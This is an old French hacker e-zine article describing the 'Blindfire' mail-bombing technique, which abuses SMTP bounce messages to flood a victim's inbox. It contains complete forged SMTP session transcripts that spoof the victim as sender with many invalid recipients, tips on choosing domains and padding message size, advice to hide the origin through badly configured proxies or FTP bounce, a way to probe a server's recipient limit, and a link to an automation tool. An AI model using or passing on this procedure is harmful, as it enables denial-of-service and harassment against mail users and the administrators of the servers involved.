.---+-=[ SMTP Weapon Of Mass Destruction    ]=------+---------------------------=[03]=----.
|  i|                                                 \__________________  ___  __   _     |
|  I|                                                                    \                 |
|  I|                                                                     '-=[__2       ]=-|
| //                                                                                       |
| L\:-=[Ak : The Blindfire attack                       ]=--------------[~~~~~~~~~~~~]-----|
|                                                                        \          /      | 
'________________________________________________________________________.I[MK-110]I.______'         
               

      Je vais vous parlez aujourd'hui d'un problème méconnu du  protocole  SMTP
permettant  de  générer  du  trafic  à la pelle. L'utilisation normale de cette 
faille mène  inévitablement vers  du  flood  de  "mail box"  et  des  DoS.   Je  
n'incite  aucunement  ce genre d'activité mais j'ai tout de même pensé que cela 
pourrait  en intéresser plus d'un ;)

Lors de l'envoie normal d'un courriel, le client se connecte  au  serveur SMTP,
s'identifie,  définis  une  source,  définis   une  cible  ou  plusieurs copies 
carbones. Le tout  suivi  du  contenu  du  courriel et de  la  déconnection. Au 
niveau protocole cela ressemble à ceci :

-------------------------Connexion établis au serveur SMTP-----------------------

SERVER << 220 router.eden ESMTP Sendmail 8.12.11/8.12.11; Fri, 5 Nov 2004 00:47:36 -0500
CLIENT >> HELO test@source.com
SERVER << 250 router.eden
CLIENT >> MAIL FROM: <test@destination.com>
SERVER << 250 Sender <test@destination.com> Ok
CLIENT >> RCPT TO: <test@destination.com>
SERVER << 250 Recipient <test@destination.com> Ok
CLIENT >> DATA
SERVER << 354 Ok Send data ending with <CRLF>.<CRLF>
CLIENT >> Subject: this is a test
CLIENT >> 
CLIENT >> Body go here
CLIENT >>
CLIENT >> .
CLIENT >>
CLIENT >>
SERVER << 250 Message received: 20041105054612.RKSC25820.router.edent@[1.2.3.4]
QUIT
221 router.eden ESMTP server closing connection

-------------------------Déconnection--------------------------------------------


La technique dont je vais vous parlez exploite ce mécanisme   en  modifiant  la
source et les cibles d'une  façon  spécifique.  Le concept  est  en  fait  fort
simple, il suffit de placer l'adresse courriel victime en tant que source et de
glisser  plusieurs  destinations  bidons  durant  l'expédition  du courriel. Le  
serveur  SMTP  se  retrouvera  dans  l'impossibilité d'expédier le courriel aux  
destinations choisis et émettra un message d'erreur vers la source (la  victime  
dans le cas suivant). Pour chaque  nouvelle  destination, la  victime   recevra  
un  message  supplémentaire.  Un  serveur SMTP fournis  par  votre  ISP  permet  
généralement  d'allouer  ~100 destinations par courriel.  Cela peut varier d'un 
ISP à l'autre et  j'ai  eu  la  chance  de  faire  des exp‚rimentations sur des 
serveur SMTP   permettant jusqu'à 500 destinations.

Donc,  théoriquement, si j'envoie  10   courriels  de  ce  type, je génère 1000 
courriels qui iront directement dans la "mail box" de notre victime. L'avantage
est que les courriels sont transmis par le serveur SMTP et   non  pas par vous.  
Cela ne se termine pas là, bien entendu. Dans les courriels qui sont forgé nous 
pouvons aussi glisser de la donnée bidon, ce qui  augmentera   la   grosseur du
courriel. Si nous reprenons l'exemple des 10 courriels qui en  génère  1000, on 
peut déduire que 10 courriels de 200k (2megs total)  génère 200 megs de "JUNK".

Maintenant  que  j'ai  votre  attention,  je  vais parler des quelques règles à  
suivre  pour mener à bien l'opération.

1)  Utiliser  des   nom  de  domaines  différents  car  si  vous  utilisez  100 
    destinations provenant du mˆme nom de domaine, le serveur coupera  court et 
    ne vous envoiera qu'un seul courriel contenant tout les destinations ratés.
	
2)  Dans certains cas, le serveur SMTP fait  une  vérification  préliminaire du 
    nom de domaine, alors vous allez devoir  vous  faire  une liste de  nom  de 
    domaine non fictif.
        
3)  Certains serveurs de courriel n'acceptent pas les courriels trop lourds, il 
    faut en tenir compte.
	
4)  Il  est  conseiller  d'envoyer les courriels fautifs via un Proxy HTTP  mal 
    foutu  ou  tout  autre façon détourné. Une vieille technique me  revient  à 
    l'esprit, le "almighty FTP BOUNCE".

Voici un exemple d'une session SMTP forgé :

-------------------------Connexion établis au serveur SMTP-----------------------
SERVER << 220 router.eden ESMTP Sendmail 8.12.11/8.12.11; Fri, 5 Nov 2004 00:47:36 -0500
CLIENT >> HELO test@victime.com
SERVER << 250 router.eden
CLIENT >> MAIL FROM: <test@victime.com>
SERVER << 250 Sender <test@victime.com> Ok
CLIENT >> RCPT TO: <test@destination_invalide1.com>
SERVER << 250 Recipient <test@destination_invalide1.com> Ok
CLIENT >> RCPT TO: <test@destination_invalide2.com>
SERVER << 250 Recipient <test@destination_invalide2.com> Ok
CLIENT >> RCPT TO: <test@destination_invalide3.com>
SERVER << 250 Recipient <test@destination_invalide3.com> Ok
CLIENT >> RCPT TO: <test@destination_invalide4.com>
SERVER << 250 Recipient <test@destination_invalide4.com> Ok

CLIENT >> RCPT TO: <test@destination_invalide5.com>
SERVER << 250 Recipient <test@destination_invalide5.com> Ok

CLIENT >> RCPT TO: <test@destination_invalide6.com>
SERVER << 250 Recipient <test@destination_invalide6.com> Ok

CLIENT >> RCPT TO: <test@destination_invalide7.com>
SERVER << 250 Recipient <test@destination_invalide7.com> Ok

CLIENT >> DATA
SERVER << 354 Ok Send data ending with <CRLF>.<CRLF>
CLIENT >> Subject: this is a flood
CLIENT >> 
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >> Je ne suis pas un suiveux, je prefere owned à pwned. Je ne suis pas un suiveux, je prefere owned à pwned.
CLIENT >>
CLIENT >> .
CLIENT >>
CLIENT >>
SERVER << 250 Message received: 20041105054612.RKSC25820.router.edent@[1.2.3.4]
QUIT
221 router.eden ESMTP server closing connection

-------------------------Déconnection--------------------------------------------

Ici j'ai couper dans le nombre de destination et dans la grosseur  du  courriel 
pour pas me faire dire que je fait du remplissage inutile :)

Il vous est peut-être  venu  a  l'esprit  qu'il serait pratique de connaître le 
nombre  maximum de destinations(copies-carbonnes) qu'un serveur peut permettre. 
Il  suffit tout simplement de se branché sur le serveur normalement, d'envoyer   
plusieurs  "RCPT TO"  suivi  d'un  "DATA"  et  de  2   CRLF suivi d'un "." et à  
nouveau  2 CRLF. Si il y a trop de destinations le message ne sera  pas envoyer   
et   un  message  d'erreur  sera retourner. (Stupidement le serveur retourne la 
bonne valeur dans  la majorité des cas.)

En  conclusion,  j'aimerais  parler  des  impacts  possibles de cette technique 
pratiqué  par des gens sans scrupules. Flooder une seule personne peut paraître 
amusant mais il y a vraiment matière pour faire plus, comme anéantir le pouvoir 
de transmission de plusieurs serveurs pendant de très longues heures. Imaginons 
le cas hypothétique  d'un  WORM  qui  utiliserait  cette technique pour flooder 
l'adresse de courriel d'une  organisation  internationale et connue, même si la 
victime finirait par changer  de  courriel, le  trafic  engendrer  serait d'une 
quantitée   colossale   et  difficile  à    manipuler (Un  beau  calvaire  pour 
l'administrateur). Alors sur cela, ne faite pas les cons et si la tentation est 
trop forte, n'en parlez pas a personne :)


http://mrgibson.no-ip.com/random/blindfire/ 
(aussi disponible sur www.mindkind.org)

		- Petit programme multi plate-forme de mon cru 
		  qui automatise le processus.

Greet to:

	         Nexact, sans qui j'aurais oublier de ressayer cette technique 
             (que j'avais déjà utiliser en 2000 sur un serveur intranet) ainsi
              qu'aux lémuriens en migration vers freenode :)



	                                                              __2